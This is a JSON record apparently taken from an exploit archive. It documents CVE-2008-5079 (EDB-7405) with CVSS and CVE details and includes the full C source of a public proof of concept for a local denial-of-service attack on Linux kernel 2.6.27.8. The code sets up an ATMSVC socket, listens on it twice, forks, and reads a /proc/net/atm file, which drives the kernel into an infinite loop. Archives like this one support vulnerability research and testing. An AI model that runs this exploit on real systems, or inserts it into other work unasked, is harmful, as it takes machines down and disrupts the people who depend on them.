{"exploit":{"id":"EDB-7405","name":"Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service (DoS)","description":"Linux Kernel 2.6.27.8 - ATMSVC Local Denial of Service (DoS)","cves":["CVE-2008-5079"],"author":"Jon Oberheide","published":"2008-12-10","platform":"linux","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/7405","path":"exploits/linux/dos/7405.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-7405.c","vulnerabilities":[{"id":"CVE-2008-5079","state":"PUBLISHED","title":null,"titleSource":null,"description":"net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8 and earlier allows local users to cause a denial of service (kernel infinite loop) by making two calls to svc_listen for the same socket, and then reading a /proc/net/atm/*vc file, related to corruption of the vcc table.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-5079","cvss":{"version":"2.0","baseScore":4.9,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-5079"},"updatedAt":"2024-08-07T10:40:17.192Z","retrievedAt":"2026-11-27T03:06:59.095Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-7405.png?v=2","url":"https://exploitbin.com/exploits/EDB-7405","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-7405/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-7405/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * cve-2008-5079.c\n *\n * Linux Kernel <= 2.6.27.8 ATMSVC local DoS\n * Jon Oberheide <jon@oberheide.org>\n *\n * http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5079:\n *\n *   net/atm/svc.c in the ATM subsystem in the Linux kernel 2.6.27.8\n *   and earlier allows local users to cause a denial of service\n *   (kernel infinite loop) by making two calls to svc_listen for the\n *   same socket, and then reading a /proc/net/atm/*vc file, related\n *   to corruption of the vcc table.\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <fcntl.h>\n#include <errno.h>\n#include <linux/atm.h>\n#include <sys/types.h>\n#include <sys/socket.h>\n#include <sys/stat.h>\n\n#define NR_CPUS 8\n#define PROC_ATM \"/proc/net/atm/pvc\"\n\nint\nmain(void)\n{\n    char *err, dummy[1024];\n    int i, ret, sock, proc;\n    struct atm_qos qos;\n    struct sockaddr_atmsvc addr;\n\n    printf(\"[+] creating ATM socket...\\n\");\n\n    sock = socket(PF_ATMSVC, SOCK_DGRAM, 0);\n    if (sock < 0) {\n        err = \"socket(2) for type PF_ATMSVC failed\";\n        printf(\"[-] PoC error: %s (%s)\\n\", err, strerror(errno));\n        return 1;\n    }\n\n    memset(&qos, 0, sizeof(qos));\n    qos.rxtp.traffic_class = ATM_UBR;\n    qos.txtp.traffic_class = ATM_UBR;\n    qos.aal = ATM_NO_AAL;\n\n    printf(\"[+] setting socket QoS options...\\n\");\n\n    ret = setsockopt(sock, SOL_ATM, SO_ATMQOS, &qos, sizeof(qos));\n    if (ret == -1) {\n        err = \"setsockopt(2) for option SO_ATMQOS failed\";\n        printf(\"[-] PoC error: %s (%s)\\n\", err, strerror(errno));\n        return 1;\n    }\n\n    memset(&addr, 0, sizeof(addr));\n    addr.sas_family = AF_ATMSVC;\n\n    printf(\"[+] binding socket...\\n\");\n\n    bind(sock, (struct sockaddr *) &addr, sizeof(addr));\n\n    printf(\"[+] socket listen...\\n\");\n\n    listen(sock, 10);\n\n    printf(\"[+] duplicate socket listen...\\n\");\n\n    listen(sock, 10);\n\n    printf(\"[+] attempting local DoS...\\n\");\n\n    for (i = 0; i < NR_CPUS; ++i) {\n        if (fork() != 0) {\n            break;\n        }\n    }\n\n    proc = open(PROC_ATM, O_RDONLY);\n    if (proc == -1) {\n        err = \"opening \" PROC_ATM \" failed\";\n        printf(\"[-] PoC error: %s (%s)\\n\", err, strerror(errno));\n        return 1;\n    }\n    ret = read(proc, &dummy, 1024);\n    close(proc);\n\n    printf(\"[-] Local DoS failed.\\n\");\n\n    return 0;\n}\n\n// milw0rm.com [2008-12-10]","sha256":"261e9b21e3c8bebd66b3682198b6a57c0821daf4c90dc350751f39ab5371c52a","bytes":2336,"fetchedAt":"2026-11-27T03:06:53.432Z","encoding":"utf-8 (display only; download retains original bytes)"}